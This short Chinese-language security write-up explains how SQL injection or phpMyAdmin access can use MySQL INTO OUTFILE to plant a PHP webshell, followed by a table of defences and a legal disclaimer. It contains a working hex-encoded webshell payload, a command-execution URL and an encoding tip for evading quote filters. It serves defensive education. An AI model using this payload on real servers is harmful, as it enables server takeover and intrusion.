本文分析利用 MySQL SELECT ... INTO OUTFILE 配合 SQL 注入或 phpMyAdmin 任意執行,寫入 PHP Webshell 的攻擊鏈,旨在幫助開發者理解風險並加固防禦。
SELECT * FROM `vbb_strikes` WHERE 1
UNION SELECT 2,3,
0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E
FROM vbb_strikes
INTO OUTFILE 'c:/inetpub/wwwroot/cmd.php'
0x3C3F706870...3F3E 解碼為 <?php system($_REQUEST[cmd]);?>,繞過引號過濾與字符集問題。FILE 權限,且 secure_file_priv 未限制或目標路徑在允許目錄內。訪問 https://target/cmd.php?cmd=dir c:\ 即可執行系統命令,獲得服務器控制權。
| 防禦層面 | 具體措施 |
|---|---|
| 資料庫權限 | 應用賬號移除 FILE 權限;secure_file_priv=/var/lib/mysql-files/ 限制導出目錄 |
| SQL 注入防護 | 全站使用參數化查詢/預處理語句;WAF 規則攔截 UNION/OUTFILE 關鍵字 |
| Web 目錄權限 | Web 目錄不可寫;上傳目錄禁用腳本執行(nginx/apache 配置) |
| phpMyAdmin | 非必要不暴露公網;強制 HTTPS+雙因子認證;修改預設路徑 |
| 審計監控 | 開啟 MySQL 審計日誌;監控 INTO OUTFILE、LOAD_FILE 異常調用 |
UltraEdit Ctrl+H 切換十六進制模式,可快速將任意 PHP 代碼轉為 0x... 形式。防禦端同樣可用此法檢測日誌中疑似載荷。

聲明:本文技術細節僅供藍隊防禦研究、滲透測試授權範圍內使用。任何未經授權的滲透測試、植入後門、竊取數據均屬違法犯罪行為,後果自負。